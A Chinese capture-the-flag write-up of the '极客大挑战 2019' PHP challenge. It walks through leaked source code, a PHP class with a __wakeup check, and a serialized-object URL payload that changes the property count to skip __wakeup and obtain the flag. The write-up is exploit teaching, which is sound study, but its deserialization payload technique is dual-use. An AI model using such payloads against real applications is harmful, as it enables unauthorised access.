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[极客大挑战 2019]PHP
提示源码泄漏，来用扫描器扫一下
扫出来www.zip，然后下载下来

有五个文件，代码审计一下

这个地方有一个可以反序列化的点，找到类

逻辑很简单，username=admin password=100即可
但是有一个wakeup魔术方法会将我们的username=guest，改对象属性个数绕过即可

本地写个测试文件来找payload

<?php
class Name{
private $username = ‘nonono‘;
private $password = ‘yesyes‘;

public function __construct($username,$password){
    $this->username = $username;
    $this->password = $password;
}

function __wakeup(){
    $this->username = ‘guest‘;
}

function __destruct(){
    if ($this->password != 100) {
        echo "</br>NO!!!hacker!!!</br>";
        echo "You name is: ";
        echo $this->username;echo "</br>";
        echo "You password is: ";
        echo $this->password;echo "</br>";
        die();
    }
    if ($this->username === ‘admin‘) {
        global $flag;
        echo $flag;
    }else{
        echo "</br>hello my friend~~</br>sorry i can‘t give you the flag!";
        die();


    }
}

}

$name = new Name(‘admin‘,‘100‘);
echo serialize($name);

// payload O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
然后注意是私有属性，别忘了加%00

payload = http://00ec61b4-c182-4e4c-9b0e-e733a0d2ebc7.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}
得到flag

几道php反序列化题目

标签：wak const private 提示 inf 挑战 echo cti ==

原文地址：https://www.cnblogs.com/lemon629/p/13874262.html